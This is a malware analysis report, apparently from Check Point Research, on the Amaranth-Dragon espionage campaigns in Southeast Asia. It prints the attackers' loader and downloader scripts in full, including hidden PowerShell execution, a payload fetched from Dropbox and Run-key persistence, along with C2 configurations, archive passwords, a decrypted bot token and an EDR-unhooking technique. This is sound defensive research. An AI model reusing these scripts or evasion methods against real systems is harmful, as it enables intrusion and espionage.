Key Points

• Check Point Research (CPR) has been tracking Amaranth-Dragon, a nexus of APT-41, previously aligned with Chinese interests. The group launched highly targeted cyber-espionage campaigns throughout 2025 against government and law enforcement agencies in Southeast Asia.
• We observed overlaps between Amaranth-Dragon and APT-41’s arsenal, suggesting a possible connection or shared resources between them. Further analysis of file compilation and campaign timelines suggests the group operates in UTC+8 (China Standard Time).
• Attack themes and lure documents often coincide with significant local geopolitical events, increasing the likelihood of successful compromise.
• Less than ten days after the WinRAR vulnerability (CVE-2025-8088) was disclosed, Amaranth-Dragon introduced malicious RAR archives into their campaigns, exploiting this vulnerability and ultimately achieving code execution and persistence on victim systems.
• The group utilizes legitimate hosting services (e.g., Dropbox) and Amaranth Loader, a custom tool to deliver encrypted payloads, primarily deploying the Havoc C2 Framework. Command and Control servers are protected by Cloudflare and configured to respond only to IP addresses from targeted countries, minimizing collateral infections and increasing campaign stealth.
• A new tool was added to their arsenal, which we track as TGAmaranth RAT. The Telegram-based remote access trojan features anti-EDR and anti-AV capabilities and uses a Telegram bot as its command and control server.

Introduction

Check Point Research has identified several campaigns targeting multiple countries in the Southeast Asian region. These related activities have been collectively categorized under the codename “Amaranth-Dragon”. The campaigns demonstrate a clear focus on government entities across the region, suggesting a motivated threat actor with a strong interest in geopolitical intelligence. The campaigns frequently target law enforcement agencies, particularly the police, and often appear to be timed or themed around ongoing local political events.

The attacks are performed by the Chinese group we track as Amaranth-Dragon. A previously unknown loader we call Amaranth Loader shares similarities with tools such as DodgeBox, Dustpan and Dusttrap associated with the Chinese hacking group known as APT-41 (FBI’s most wanted cybercriminal groups), suggesting a connection or shared resources between the groups.

Their Command and Control (C&C) servers were protected behind Cloudflare, configured to accept traffic only from IP addresses within the specific country or countries targeted in each operation. Once executed, the Amaranth loader retrieves an encrypted payload, decrypts it using AES, and executes it directly in memory.

The payload most commonly deployed is the Havoc Framework, an open-source Command and Control (C&C) platform used for authorized security assessments such as penetration testing and red teaming. In legitimate contexts, Havoc enables security professionals to deploy, manage, and interact with post-exploitation agents within environments they are permitted to test.

While the initial delivery method remains uncertain, the targeted nature of the attacks suggests the use of malicious emails containing weaponized attachments. The initial file is a RAR archive exploiting CVE-2025-8088, which allows the attackers to execute arbitrary code by crafting malicious archive files.

CVE-2025-8088

The vulnerability affects WinRAR and was disclosed on August 8, 2025. A publicly available exploit tool for this vulnerability was released on GitHub on August 14, 2025. Later, on August 18, 2025, Amaranth-Dragon leveraged this vulnerability for the first time in their campaigns.

CVE-2025-8088 is a path traversal vulnerability affecting the Windows version of WinRAR that allows attackers to execute arbitrary code.

By crafting the malicious RAR file, the threat actors can drop a file into the Startup folder and achieve indirect code execution upon system reboot.

Amaranth-Dragon Campaigns

Since March 2025, Check Point Research has identified several campaigns attributed to Amaranth-Dragon. The campaigns have targeted several Southeast Asian countries, including Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines. It is highly probable that additional campaigns have targeted other countries in the region; however, the highly targeted nature of these operations makes it difficult to obtain further indicators of compromise (IoCs).

Each campaign typically targets one or two countries and is coordinated around geopolitical or local events. The archive file was typically hosted by legitimate providers like Dropbox. The archive contained multiple files, including a malicious DLL, the Amaranth loader, which was sideloaded by a legitimate executable. Often, the compilation timestamp aligns with the campaign date.

Upon execution, the Amaranth loader contacts a designated URL to retrieve an AES encryption key. The AES key is retrieved from Pastebin or hosted on the group’s server, however, there were some campaigns where the key was embedded in the loader. The key is then used to decrypt an encrypted payload retrieved from a secondary URL owned by this group.

Their infrastructure enforces strict targeting. If an infected victim attempts to access the payload URL from an IP address outside the designated target country, the server responds with HTTP 403 Forbidden, preventing the payload from being delivered and effectively blocking unintended infections.

This geo-restriction mechanism has allowed us to reliably determine the specific country targeted in each campaign, based on which IP ranges are permitted to access the C&C.

The names of these campaigns and the loader were inspired by the Pastebin account that hosted the AES key for multiple operations. The account amaranthbernadine has been observed across several campaigns, each containing different pastes.

Some of these campaigns also exploited CVE‑2025‑8088, which potentially allowed the threat actor to drop a script file (CMD or BAT) into the Startup folder and achieve code execution upon reboot. The script executed the Amaranth Loader by sideloading it, which then downloaded, decrypted, and executed the Havoc C2 Framework in memory.

Campaigns Timeline

March 19, 2025, Cambodia

The first discovered campaign, dated March 19, 2025, appears to have targeted Cambodia, as indicated by the file name CNP_MFA_Meeting_Documents.zip. Specifically, the Cambodia National Police and/or the Ministry of Foreign Affairs were targets. At that time, the group did not exploit the CVEs as they had not yet been disclosed. Instead, the attackers used ZIP archives containing script files, such as .lnk and .bat, to decrypt and execute the Amaranth loader.

April 28, 2025, Cambodia

The second campaign, which took place on April 28, 2025, once again targeted Cambodia with an updated version of the Amaranth loader. The URL downloading the encrypted Havoc payload indicated the targeted country, drive.easyboxsync[.]com/resources/channels/v7/cambodia64.

July 3, 2025, Thailand & Laos

The third campaign was the last observed campaign without the CVE being exploited to deliver the malicious script that maintains persistence on the system and executes the Amaranth loader. This campaign targeted Thailand and Laos on July 3, 2025.

August 18, 2025, Indonesia

During the fourth campaign, which began on August 18, 2025, the group targeted Indonesia with the archive filename SK_GajiPNS_Kemenko_20250818.rar, which translates to “Official Decision (SK) regarding the Salary (Gaji) of Civil Servants (PNS) working in Coordinating Ministries (Kemenko)”. Notably, Indonesia increased the salary of Civil Servants by 8% starting from August 1, 2025. Therefore, such a filename could lure victims into opening and executing the received file. During this campaign, we observed the group exploiting CVE-2025-8088 for the first time to drop a malicious .bat file into the Startup folder, establishing persistence on the victim machine. The vulnerability had been disclosed by the vendor ten days before the campaign occurred, and the first public exploit appeared on GitHub four days prior to that.

September 5, 2025, Indonesia

In the campaign targeting Indonesia, which began on September 5, 2025, we observed that the Amaranth loader was not deployed. Instead, the attackers used a fully functional RAT that leveraged a Telegram bot as its C&C, retrieved PII (Personal Identifiable Information) and executed remote commands. The initial .rar file, Proposal_for_Cooperation_3415.05092025.rar, does not indicate any specific targeted entities. In September, several events took place that were likely connected, but we were unable to establish a definitive link between them.

September 15, 2025, Thailand, Singapore & Philippines

In the sixth campaign, the C&C server only accepted connections from Thailand, Singapore, and the Philippines, while blocking all other regions. The deployed shellcode was the Havoc C2 Framework. We are not certain of the exact date the campaign took place, as the compilation timestamp suggests September 4, 2025, while we first saw it on September 15, 2025. Based on the filename FSTR_HADR.zip .The campaign may reference two events:

1. Falcon Strike 2025, China‑Thailand Joint Air Force Exercise from 19–25 September 2025 in Thai airspace.
2. HADR operations Philippine Army – Royal Thai Army from 11–12 September 2025.

Between September 29 and October 10, we discovered another campaign themed Training_Program, which appeared to target Thailand and Singapore using the Amaranth loader.

October 15, 2025, Philippines

The last two campaigns, identified between October 15 and 23, 2025, targeted the Philippines. The first of those two campaigns, with the name OAS-2025-111.10_Minutes_Template_Salary_and_Bonus_Meeting, attempted to download the file @MrPresident_001_bot.rar. However, we were unable to retrieve it due to its very short-lived availability period.

October 23, 2025, Philippines

The last campaign targeted the Philippines Coast Guard, with the name PCG 124th Anniversary Event Documents Office of the President 23102025, coinciding with the 124th anniversary of the founding of the Philippine Coast Guard.

Playing with Time

During the latest campaign targeting the Philippine Coast Guard, we determined the group’s operational timezone using VirusTotal submissions, ZIP files, and Amaranth loader Compilation Timestamps.

Zip file:

Filename: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

2025-10-23 08:25:58 UTC     VT First Submission                  

Zip Contents:
2025-10-22 15:07:56         __MACOSX
2025-10-22 16:24:20         __MACOSX/.vcredist.rar
2025-10-23 16:03:50         124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
2025-10-23 16:03:56         PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2025-10-23 16:05:30         __MACOSX/ZoomWorkspace.bat

Amaranth loader:

2025-10-22 08:23:07 UTC     DllSafeCheck64.dll (Compilation Timestamp)      

The campaign provides a mix of timestamps, with two in UTC and the rest in the group’s local time zone.

During this campaign, the Amaranth loader (DLL) was embedded inside a password-protected archive named .vcredist.rar. This RAR file was added to the ZIP archive at 2025-10-22 16:24 in the group’s local time, while the DLL was compiled on the same day at 08:23 UTC. It is reasonable to assume that the malicious file was added to the RAR archive shortly after compilation (a difference of one minute and 13 seconds). In this case, the group’s operating timezone appears to be UTC+8, which aligns with China’s single standard timezone.

The latest modification time of the ZIP file is close to the campaign’s start on 2025-10-23 (first submission). The ZIP was submitted at 08:25:58 UTC, but the latest file inside shows 16:05:30 ”local time”, again indicating an 8-hour time difference. This suggests that the group added the .bat file shortly before launching the campaign.

Campaign Analysis – Philippines Coast Guard, 2025-10-23

The campaign was initiated on October 23, 2025, using the theme of the Philippines Coast Guard’s 124th Anniversary, which took place that same day. The group impersonated the “Office of the President” as part of their social engineering tactics.

During this campaign, we did not observe the use of the CVE-2025-8088 vulnerability.

Zip File: 495cb43f3c2e3abd298a3282b1cc5da4d6c0d84b73bd3efcc44173cca950273c
Name: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

Hash                                   Path
----                                   ----
3602E70D4CD1CD60C4ACCB4772ED685A       124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
0DEEA95B6C5418DBD85305F19E799794       PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2BB9E462385773E8023B21516F332078       \\__MACOSX\\.vcredist.rar
2D25368AA3EB691DC81094EBDE82D2F8       \\__MACOSX\\ZoomWorkspace.bat

Both .lnk files masquerade as PDF files purportedly delivered by the Office of the President. When triggered, each executes the following command, which runs the “hidden” .bat file stored in the \\__MACOSX\\ folder.

/b /c "@echo off && tar.exe -xf "*-Archive.zip" && "__MACOSX\\ZoomWorkspace.bat" || "__MACOSX\\ZoomWorkspace.bat""

It is interesting to note that even if only the .lnk file is extracted, executing it will extract all the files from the archive and then trigger the .bat file.

@echo off
setlocal

:: ??????
set rsz=.\\__MACOSX\\.vcredist.rar
:: ??????

:: ??????
set drp=%appdata%\\ZoomWorkspace
set exf=%appdata%\\ZoomWorkspace\\ZoomUpdate.exe
:: ??????

:: ??????
if not exist "%drp%" (
    mkdir "%drp%" >NUL 2>&1
)

set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
set "z32=%ProgramFiles(x86)%\\7-Zip\\7z.exe"
set "z64=%ProgramFiles%\\7-Zip\\7z.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )
    
    exit /b %errorlevel%
)

if exist "%z64%" (
    "%z64%" x -psuu9cskRIQjsBxYtr9TH -o "%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%z32%" (
    "%z32%" x -psuu9cskRIQjsBxYtr9TH -o"%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

endlocal

The bat file attempts to extract two files from the password-protected archive using the password suu9cskRIQjsBxYtr9TH and stores them in %appdata%\\ZoomWorkspace\\. The executable file is legitimate and signed, which sideloads the malicious DLL Amaranth Loader.

Hash                                   Path
----                                   ----
5EB3FC682E41EAEC8704EF6CB7593FC2       \\__MACOSX\\.vcredist\\ZoomUpdate.exe
534ECC19F369B3FE3C2C33F4BF92205A       \\__MACOSX\\.vcredist\\DllSafeCheck64.dll

The loader contacts hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key to retrieve the AES key and hxxps://updates.dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf to obtain the encrypted payload, which is then run in memory. The payloads we obtained were Havoc C2 Framework.

Campaign Analysis – Indonesia, 2025-09-05

The campaign targeting Indonesia took place on September 5, 2025. Its theme was Proposal_for_Cooperation_3415. The group distributed a malicious RAR file that exploits the CVE-2025-8088 vulnerability, allowing the execution of arbitrary code and maintaining persistence on the compromised machine.

The RAR file drops the following benign files into the extracted directory (in the example above, the Desktop folder):

Hash                                   Path
----                                   ----
8A7F236D0489AC4292ED4CC17D7A7C83       \\Attachments\\Attachments_Concept Note (1).docx
83ECA729B5002A4294A658ADE65371D1       \\Attachments\\Attachments_Concept Note (2).docx
5B3224B45D3A8B403EC07025B803AE85       \\Attachments\\Attachments_Concept Note (3).docx
A956F6B6372F6F81B98EEC8E5563D54E       \\Attachments\\Attachments_Concept Note (4).docx
057AF63BB82301A1522F86D87374A5E4       \\Attachments\\Attachments_Concept Note (5).docx
5CC340108C8A0682151574280632BDE1       \\Attachments\\Attachments_Concept Note (6).docx
DED81110B206D662F56F0FB47DAF6DEA       \\Attachments\\Attachments_Concept Note (7).docx
3AEEC2BCD63FD76CB78CC7FE6BCB1172       Proposal for Cooperation.pdf

When attempting to exploit the path traversal vulnerability to drop the malicious script into the Startup folder and achieve arbitrary code execution, we observed the malware repeatedly trying different ../ path‑traversal sequences until it successfully reached the correct directory, which varies depending on where the RAR file is extracted.

After the malicious file is dropped into the Startup folder, it executes Windows Defender Definition Update.cmd upon the next system reboot. It is noteworthy that although the RAR file exists on VirusTotal, the sandbox was unable to extract the malicious file, creating challenges for researchers, as no artifacts were available to analyze.

Cmd File: 8a7ee2a8e6b3476319a3a0d5846805fd25fa388c7f2215668bc134202ea093fa

@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

set "TARGET_DIR=C:\\Users\\Public\\Documents\\Microsoft"
set "ZIP_URL=hxxps://www.dropbox.com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1"

set "RANDOM_NAME=winupdate_v!RANDOM!!TIME:~6,2!!TIME:~3,2!"
set "ZIP_FILE=%TARGET_DIR%\\%RANDOM_NAME%.rar"
set "EXTRACT_DIR=%TARGET_DIR%\\%RANDOM_NAME%"

set "EXE_FILE=%EXTRACT_DIR%\\obs-browser-page.exe"
set "DLL_FILE=%EXTRACT_DIR%\\libcef.dll"

if exist "%EXE_FILE%" if exist "%DLL_FILE%" goto :RunProgram
if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" >NUL 2>&1

call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
    timeout /t 15 >NUL
    call :Download "%ZIP_URL%" "%ZIP_FILE%"
    if errorlevel 1 (
        timeout /t 30 >NUL
        call :Download "%ZIP_URL%" "%ZIP_FILE%"
        if errorlevel 1 exit /b 1
    )
)

mkdir "%EXTRACT_DIR%" >NUL 2>&1
call :Extract "%ZIP_FILE%" "%EXTRACT_DIR%" || exit /b 1
del /q "%ZIP_FILE%" >NUL 2>&1

:RunProgram
if exist "%EXE_FILE%" (
    reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "%RANDOM_NAME%" /t REG_SZ /d "%EXE_FILE%"
    start "" "%EXE_FILE%"
)
endlocal
exit /b 0

:Download
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
exit /b 1

:Extract
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

where Rar.exe >NUL 2>&1
if %errorlevel%==0 (
    Rar.exe x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

exit /b 1

The .cmd file downloads a password‑protected RAR archive from Dropbox and saves it to C:\\Users\\Public\\Documents\\Microsoft under the name winupdate_v{random_int_cur_time}.rar. Threat actors often abuse legitimate file‑sharing services, such as Dropbox, Google Drive, GitHub, and others. Although these platforms scan uploaded files for malicious activity, password‑protecting an archive prevents the files from being extracted and their contents analyzed, which allows malicious payloads to bypass security checks.

winupdate_v.rar- 50855f0e3c7b28cbeac8ae54d9a8866ed5cb21b5335078a040920d5f9e386ddb

After it’s downloaded, the RAR file is decrypted using the password S8jwaqfA0BBuWOAKrFLg. It then drops the two embedded files, obs-browser-page.exe and libcef.dll, into C:\\Users\\Public\\Documents\\Microsoft\\winupdate_v{random_int_cur_time}\\. A Run registry key is then created to maintain persistence for the executable, which will sideload the malicious DLL file. obs-browser-page.exe – 7af238050b2750da760b2cf5053bcf58054bcf44e9af1617d8b7af3ed98d09c6

libcef.dll – a3805b24b66646c0cf7ca9abad502fe15b33b53e56a04489cfb64a238616a7bf

The DLL file was compiled on Thu, Sep 04, 10:41:21 2025, and contains the malicious export cef_api_hash. The malware is the RAT we track as TGAmaranth RAT, and uses a Telegram Bot as its C&C.

The artifacts we observed in the campaign’s initial ZIP file were also present in another ZIP file. However, instead of downloading the encrypted RAR from Dropbox, the file was retrieved from the group’s own servers:

• URL: catalogs.dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
• Password: 6jmNHn2hRf7uxCHKwL5s

Interestingly, the filename @MrPresident_001_bot.rar could potentially refer to a Telegram bot, as it follows the platform’s naming conventions for bot accounts.

Amaranth Loader – Technical Analysis

The Amaranth loader is a 64-bit Windows PE DLL that executes its malicious functionality when sideloaded. The loader usually does not establish additional persistence mechanisms. However, in some campaigns and samples, we observed the creation of a Run key entry to ensure persistence.

The DLL typically contains multiple exports, in most cases, only a single export is functional, and the remaining exports point to the same address, which simply invokes an infinite Sleep loop.

After the correct export is invoked by the main executable, Amaranth loader decrypts the initial URL using a hardcoded XOR key.

The loader contacts the URL that hosts the AES key. While the majority of samples we obtained follow this approach, we also observed samples in which the AES key is embedded in the binary in encrypted form. In these cases, the same decryption process described above is used to retrieve the AES key.

Initially, the URLs used to retrieve the key were hosted on Pastebin, uploaded from a single account @amaranthbernadine. In later campaigns, the AES key was hosted on servers controlled by the threat group, similar to those in the payload.

hxxps://pastebin[.]com/raw/Z7xayGZ8
hxxps://pastebin[.]com/raw/2AGrG4i1
hxxps://pastebin[.]com/raw/ASXindCH
hxxps://daily.getfreshdata[.]com/dailynews/key.txt
hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key

Moving the AES keys from Pastebin to their own servers enables the attackers to apply geolocation restrictions before payload delivery.

We observed multiple User-Agent strings being passed as arguments to the InternetOpenA function, including:

"Avant Browser/1.2.789rel1 (<http://avantbrowser.com>)"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36"
"downloader"

The loader downloads the encrypted file from the second URL and decrypts it using AES-CBC with the obtained key and a hardcoded initialization vector (IV). The same IV is present in all Amaranth loader samples from the campaigns mentioned earlier: 12 34 56 78 90 AB CD EF 34 56 78 90 AB CD EF 12.

The loader allocates 4 KB of memory with PAGE_EXECUTE_READWRITE access and copies the decrypted shellcode into this memory address. It then executes the shellcode entry point. The observed shellcode was the Havoc command-and-control framework.

Example of Havoc Configuration (targeting Thailand, Singapore, Philippines –FSTR_HADR.zip):

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\Werfault.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\Werfault.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "www.todaynewsfetch[.]com:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36",
  "Headers": [
    "Content-type: text/plain",
    "Secure: 1",
    "SSID: 11PCVS1VcabHx"
  ],
  "Urls": [
    "/im-uncac",
    "/bulletin-disposal",
    "/version-check"
  ]
}

During our analysis of the loader’s strings, we observed several development and debug artifacts, such as references to Crypto++ source file paths. These paths likely originate from the threat actors’ development environment.

C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\gf2n_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\rijndael_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sha_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sse_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\gf2n_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\rijndael_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sha_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sse_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\gf2n_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\rijndael_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sha_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sse_simd.cpp

Amaranth Loader Variant Resembling APT-41 Tools deploying Havoc

File: 3cbef162e14e74d1f95391091544b53deb23c41b41b8bbadd124209a63496424

In early September, we discovered a file exhibiting similarities to both Amaranth Loader and previous APT-41 reported tools (here and here). This sample was compiled on August 20, 2025, and appears to have been used in multiple attacks. We observed the same Crypto++ file artifacts as seen in Amaranth Loader, as well as the use of the DLL sideloading technique.

H:\\code\\loaders\\winzip\\cryptopp\\gf2n_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\rijndael_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sha_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sse_simd.cpp

Of the four DLL exports, three of them point to the same address containing the Sleep instruction, while the other export, CreateWzAddrBook, implements the malicious functionality.

Before entering an infinite sleep, the main export creates a thread to execute the malicious function.

void CreateWzAddrBook()
{
  HANDLE Thread = CreateThread(NULL, 0, StartAddress, NULL, 0, NULL);
  CloseHandle(Thread);
  Sleep(INFINITE);
}

Similar to Amaranth Loader, this local variant decrypts its strings using the same previously described algorithm. Although some unusual logic is present in the code, this appears to be the result of compiler optimizations, such as loop unrolling, though the result is the same.

Python representation:

data = b'?N\\xd9\\x8c$\\x1d}\\xed\\x1c4\\x00\\x00\\x00\\x00\\x00\\x00'
key = 0x8145F15287224668
decrypted_size = 10

decrypted = bytes(
    data[i] ^ (key >> i % 8) & 0xFF
    for i in range(0, decrypted_size)
)

print(decrypted)
# b'WzCAB.dat\\x00'

The first decrypted string is the filename containing the encrypted shellcode, which is loaded into memory and executed. The second decrypted string is the “RC4 key” used to decrypt the shellcode. Windows API function names are also encrypted and decrypted using the same algorithm, then GetProcAddress is used to dynamically resolve these functions at runtime.

The function used to decrypt the shellcode is an RC4-like implementation. While the Key-Scheduling Algorithm (KSA) is correctly implemented, the difference from the standard RC4 algorithm lies in the Pseudo-Random Generation Algorithm (PRGA).

Below is the Amaranth-Dragon Python RC4 implementation:

def rc4_amaranth_dragon(key: bytes, data: bytes) -> bytes:
    """
    Amaranth-Dragon RC4-like decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    def KSA(key: bytes) -> list[int]:
        sBox = list(range(0, 256))
        b = 0
        for i in range(0, 256):
            b = (sBox[i] + key[i % len(key)] + b) & 0xFF
            sBox[i], sBox[b] = sBox[b], sBox[i]
        return sBox

    def PRGA(sbox: list[int], data_size: int):
        j = 0
        for i in range(0, data_size):
            ii = (i + 1) & 0xFF
            j = (j + sbox[ii]) & 0xFF
            sbox[ii], sbox[j] = sbox[j], sbox[ii]
            # Amaranth-Dragon RC4 Implementation
            yield i, (sbox[ii] + sbox[j]) & 0xFF
            # Standard RC4 Implementation
            #yield i, box[(box[ii] + box[j]) & 0xFF]

    box = KSA(key)
    return bytes(
        data[i] ^ cipherbyte
        for i, cipherbyte in PRGA(box, len(data))
    )

It’s not clear if this deviation is intentional or accidental. However, standard Python libraries such as PyCryptodome do not successfully decrypt the shellcode.

After the RC4-like decryption function completes, the malware uses the previously mentioned XOR algorithm to decrypt and dynamically resolve the necessary Windows API functions. These functions are then used to perform process injection by executing the shellcode within a fiber context.

shell_addr = VirtualAlloc(NULL, decrypted_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, decrypted, decrypted_size);

ConvertThreadToFiber(NULL);

LPVOID shellFiber = CreateFiber(0, shell_addr, NULL);

SwitchToFiber(shellFiber);

The encrypted shellcode used in this campaign was identified as Havoc C2 Framework shellcode, and is configured as follows:

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\msfeedssync.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\msfeedssync.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "dns.annasoft.gcdn[.]co:443",
    "92.223.120[.]10:443",
    "93.123.17[.]151:443",
    "92.223.76[.]20:443",
    "92.223.124[.]45:443",
    "92.38.170[.]6:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1788.0",
  "Headers": [
    "Host: helpdesk.nvision.com",
    "Accept: */*",
    "Accept-Language: en-US,en",
    "Accept-Encoding: gzip,deflate,br",
    "Origin: <https://config.office>[.]com",
    "Connection: keep-alive"
  ],
  "Urls": [
    "/releases/v1.0/OfficeReleases",
    "/Collector/3.0/?qsp=true&content-type=application&client-id=NO_AUTH"
  ]
}

TGAmaranth RAT – Technical Analysis

TGAmaranth RAT is a fully functional 64-bit DLL remote access tool (RAT) that uses a hardcoded Telegram bot as its C&C. It uses an encrypted bot token to connect to https://api.telegram.org, listens for incoming bot messages, and interprets them as commands.

This file was compiled on September 4, 2025, and was used in a campaign targeting Indonesia and possibly other Southeast Asian countries. The sample follows a modus operandi similar to that of other tools observed in the Amaranth-Dragon campaigns, and is sideloaded by a legitimate executable.

The first function executed by the malware implements an anti-debugging technique to determine if the process is being debugged. This method is described in detail in this GitHub repository. In summary, the malware creates an event handler named SelfDebugging and launches a child process of itself, passing the executable filename and the parent process ID as arguments. The child process then attempts to attach to the parent process using the DebugActiveProcess. If this attempt fails, the child process signals the event handler to notify the parent that it is already being debugged. Upon detection of a debugger, both the child and parent processes terminate. If no debugger is detected, the parent process proceeds with the infection routine.

However, before proceeding with full infection, the malware employs an anti-EDR and anti-AV technique that overwrites a hooked ntdll.dll in the current process with a clean, unhooked copy, thereby allowing it to bypass EDR or antivirus hooks. To achieve this, the malware creates a child process of cmd.exe in CREATE_SUSPENDED mode and reads the child process’s ntdll.dll from memory using the ReadProcessMemory API. As many EDR solutions do not hook into the ntdll.dll of a process until it is resumed, the suspended child process typically contains an unhooked version of the DLL. TGAmaranth does not inject any code into the child process, but simply reads the unhooked ntdll.dll and then terminates the child process. The malware then copies the .text section of the unhooked ntdll.dll from the child process into its own address space, effectively removing any EDR or antivirus hooks from the parent process.

The RAT encrypts most of its critical strings using a custom XOR-based function, which uses the same algorithm as previously described.

Due to compiler optimizations such as loop unrolling, the similarities in the decryption routines are not immediately apparent. However, when translating the code into Python, we observe that the same decryption algorithm is used.

def decrypt_tg_amaranth(key: int, data: bytes) -> bytes:
    """
    Amaranth-Dragon, TGAmaranth string decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    return bytes(
        data[i] ^ (key >> i % 8) & 0xFF
        for i in range(0, len(data)) if data[i]
    )

encrypted = b'9\\xb2x\\x95`\\x98\\xe6\\xdc0\\xb3z\\xe1\\x11\\xed\\xad\\xb8f\\xca\\x14\\xd0\\x06\\xcf\\xb9\\x93P\\xb3x\\xc6\\x1f\\xe7\\xe5\\x832\\xef&\\xd18\\xd9\\x98\\x87i\\xd11\\xfa#\\x90\\xd4\\x00'
key = 0x7001694307667501

tg_bot_token = decrypt_tg_amaranth(key, encrypted)
print(tg_bot_token)
# b'8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8\\x00'

